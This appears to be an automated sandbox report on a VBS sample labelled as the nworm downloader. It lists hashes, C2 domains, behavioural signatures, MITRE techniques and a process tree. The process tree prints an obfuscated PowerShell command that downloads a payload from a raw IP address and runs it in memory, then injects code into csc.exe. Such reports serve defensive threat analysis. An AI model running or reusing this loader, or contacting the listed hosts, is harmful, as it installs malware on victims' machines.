nworm | dae8a21a0a648fdfaab4e7b927cee26d3f600ea3a6732f52490a64f167128f0e

General

Target

DRGRKEYUTGCHG.vbs
Size

10KB
MD5

bd8dffacd8333c2cec6b8eb794965631
SHA1

28feabf6ee95f521c0ba21e4014b372d2553abd5
SHA256

e700d9c14903adf9a197c4264b53dd06ec47375de4b07b50df49a97052119930
SHA512

e900eede39e73529e1c8296d314ba3f4e25397a7bfff45b8e418f23e267f7e1369c69ce36d32e3d93938873cfd275221b42ef8cb6ad80e4c039d46d52fa7e52c

Score

10^/10

nworm downloader worm

Malware Config

Extracted

Family

nworm

Version

v0.3.8

C2

nyanmoj.duckdns.org:5057

moneyhope81.duckdns.org:5057

Mutex

cb2d3cba

Signatures

NWorm
A TrickBot module used to propagate to vulnerable domain controllers.
worm downloader nworm
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

6 4460 powershell.exe
26 4460 powershell.exe

flow	pid	process
6	4460	powershell.exe
26	4460	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4460 set thread context of 4516 4460 powershell.exe csc.exe

description	pid	process	target process
PID 4460 set thread context of 4516	4460	powershell.exe	csc.exe

Drops file in Windows directory 8 IoCs

Processes:

svchost.exeTiWorker.exe

description	ioc	process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe
File opened for modification	C:\Windows\WinSxS\pending.xml	TiWorker.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4460 powershell.exe
4460 powershell.exe

pid	process
4460	powershell.exe
4460	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exesvchost.exeTiWorker.exe

description	pid	process
Token: SeDebugPrivilege	4460	powershell.exe
Token: SeShutdownPrivilege	3228	svchost.exe
Token: SeCreatePagefilePrivilege	3228	svchost.exe
Token: SeShutdownPrivilege	3228	svchost.exe
Token: SeCreatePagefilePrivilege	3228	svchost.exe
Token: SeShutdownPrivilege	3228	svchost.exe
Token: SeCreatePagefilePrivilege	3228	svchost.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe
Token: SeBackupPrivilege	932	TiWorker.exe
Token: SeRestorePrivilege	932	TiWorker.exe
Token: SeSecurityPrivilege	932	TiWorker.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 3544 wrote to memory of 4460	3544	WScript.exe	powershell.exe
PID 3544 wrote to memory of 4460	3544	WScript.exe	powershell.exe
PID 4460 wrote to memory of 4516	4460	powershell.exe	csc.exe
PID 4460 wrote to memory of 4516	4460	powershell.exe	csc.exe
PID 4460 wrote to memory of 4516	4460	powershell.exe	csc.exe
PID 4460 wrote to memory of 4516	4460	powershell.exe	csc.exe
PID 4460 wrote to memory of 4516	4460	powershell.exe	csc.exe
PID 4460 wrote to memory of 4516	4460	powershell.exe	csc.exe
PID 4460 wrote to memory of 4516	4460	powershell.exe	csc.exe
PID 4460 wrote to memory of 4516	4460	powershell.exe	csc.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DRGRKEYUTGCHG.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3544

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HUEFUTBTCTLCFKDGFALECUN = '[*+5&/!3<</(%3<$$&<1@#-y*+5&/!3<</(%3<$$&<1@#-t/%&1&+&7=!@8-0(0-+8%$\[/&]9}][1_+@%-&<&#^--%.IO.*+5&/!3<</(%3<$$&<1@#-t)*({3!_=3]@{-+1\}@%{88/%&1&+&7=!@8-0(0-+8%$\4}84}8705\01[/#-(6&19%[/&]9}][1_+@%-&<&#^--%)*({3!_=3]@{-+1\}@%{88/%&1&+&7=!@8-0(0-+8%$\4}84}8705\01[/#-(6&19%d/%&1&+&7=!@8-0(0-+8%$\)*({3!_=3]@{-+1\}@%{88]'.RePlace('*+5&/!3<</(%3<$$&<1@#-','S').RePlace('/%&1&+&7=!@8-0(0-+8%$\','E').RePlace(')*({3!_=3]@{-+1\}@%{88','R').RePlace('4}84}8705\01[/#-(6&19%','A').RePlace('[/&]9}][1_+@%-&<&#^--%','M');$HHPCXNLYCJNJNANYSIXGBXB = ($HUEFUTBTCTLCFKDGFALECUN -Join '')|&('I'+'EX');$HBSWWCHKJPHCIHYLPBADIVC = '[%=}3&3{997<)<9(\/#$9]_y%=}3&3{997<)<9(\/#$9]_#[{9@(%3!%*}#!(]]5)5+%!^%)7)_4&^+#%{370{3-#%m.N!^%)7)_4&^+#%{370{3-#%#[{9@(%3!%*}#!(]]5)5+%.W!^%)7)_4&^+#%{370{3-#%bR!^%)7)_4&^+#%{370{3-#%qu!^%)7)_4&^+#%{370{3-#%%=}3&3{997<)<9(\/#$9]_#[{9@(%3!%*}#!(]]5)5+%]'.RePlace('%=}3&3{997<)<9(\/#$9]_','S').RePlace('!^%)7)_4&^+#%{370{3-#%','E').RePlace('#[{9@(%3!%*}#!(]]5)5+%','T');$HRKBGLQEIIOTGKRAVGDLNFB = ($HBSWWCHKJPHCIHYLPBADIVC -Join '')|&('I'+'EX');$HEKLNIBCXUJQWGFRURKPEYH = '}=5(@3]#3)+286%^()-%7%r\9-9[^\2<62^/3@+]3!){}a^[0__=$7}#(@{][37@^2_&\9-9[^\2<62^/3@+]3!){}'.RePlace('}=5(@3]#3)+286%^()-%7%','C').RePlace('\9-9[^\2<62^/3@+]3!){}','E').RePlace('^[0__=$7}#(@{][37@^2_&','T');$HEBZUFQTNVBUTPKTLSTLJWS = '<=7#5]=_4*+3-]/7}6)-!)\(9%[{[/5=6/[(%9(&%592tR\(9%[{[/5=6/[(%9(&%592++4/41*0$\7@})4_2\{5$/Pon++4/41*0$\7@})4_2\{5$/\(9%[{[/5=6/[(%9(&%592'.RePlace('<=7#5]=_4*+3-]/7}6)-!)','G').RePlace('\(9%[{[/5=6/[(%9(&%592','E').RePlace('++4/41*0$\7@})4_2\{5$/','S');$HHPHRZIHNFHAGPKYQIXDUFE = 'G-^{}6\%&!4)-{0/-92=!)1t1/=&068/-*)_2^(\@_)-}7-^{}6\%&!4)-{0/-92=!)1\{1@=&(406!]](!]+[#[08Pon\{1@=&(406!]](!]+[#[08-^{}6\%&!4)-{0/-92=!)1\{1@=&(406!]](!]+[#[08t1/=&068/-*)_2^(\@_)-}7-^{}6\%&!4)-{0/-92=!)1am'.RePlace('\{1@=&(406!]](!]+[#[08','S').RePlace('-^{}6\%&!4)-{0/-92=!)1','E').RePlace('1/=&068/-*)_2^(\@_)-}7','R');$HXLYDESAYDAKLLLAJUVKBOS = '85{2//*@5<)-^[3_)00#@2449$6@_2+[6{+*=970##$_a101-}+2!%$[72+-&{7+39{To449$6@_2+[6{+*=970##$_n101-}+2!%$[72+-&{7+39{'.RePlace('85{2//*@5<)-^[3_)00#@2','R').RePlace('449$6@_2+[6{+*=970##$_','E').RePlace('101-}+2!%$[72+-&{7+39{','D');&('I'+'EX')($HHPCXNLYCJNJNANYSIXGBXB::new($HRKBGLQEIIOTGKRAVGDLNFB::$HEKLNIBCXUJQWGFRURKPEYH('HttP://54.235.58.2/4/Ps1Hff.txt').$HEBZUFQTNVBUTPKTLSTLJWS().$HHPHRZIHNFHAGPKYQIXDUFE()).$HXLYDESAYDAKLLLAJUVKBOS())
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4460

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
3⤵
PID:4516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3228

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:932

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3228-135-0x00000273CBBA0000-0x00000273CBBB0000-memory.dmp

Filesize
64KB

Download
memory/3228-137-0x00000273CEF80000-0x00000273CEF84000-memory.dmp

Filesize
16KB

Download
memory/3228-136-0x00000273CC360000-0x00000273CC370000-memory.dmp

Filesize
64KB

Download
memory/4460-134-0x0000012153C56000-0x0000012153C58000-memory.dmp

Filesize
8KB

Download
memory/4460-133-0x0000012153C53000-0x0000012153C55000-memory.dmp

Filesize
8KB

Download
memory/4460-130-0x0000012153F00000-0x0000012153F22000-memory.dmp

Filesize
136KB

Download
memory/4460-132-0x0000012153C50000-0x0000012153C52000-memory.dmp

Filesize
8KB

Download
memory/4460-131-0x00007FF8F1E13000-0x00007FF8F1E15000-memory.dmp

Filesize
8KB

Download
memory/4460-138-0x0000012154290000-0x00000121542AA000-memory.dmp

Filesize
104KB

Download
memory/4516-139-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/4516-140-0x000000007510E000-0x000000007510F000-memory.dmp

Filesize
4KB

Download
memory/4516-141-0x0000000003520000-0x0000000003521000-memory.dmp

Filesize
4KB

Download
memory/4516-142-0x0000000005F60000-0x0000000005FFC000-memory.dmp

Filesize
624KB

Download
memory/4516-143-0x00000000065B0000-0x0000000006B54000-memory.dmp

Filesize
5.6MB

Download
memory/4516-144-0x0000000006000000-0x0000000006066000-memory.dmp

Filesize
408KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads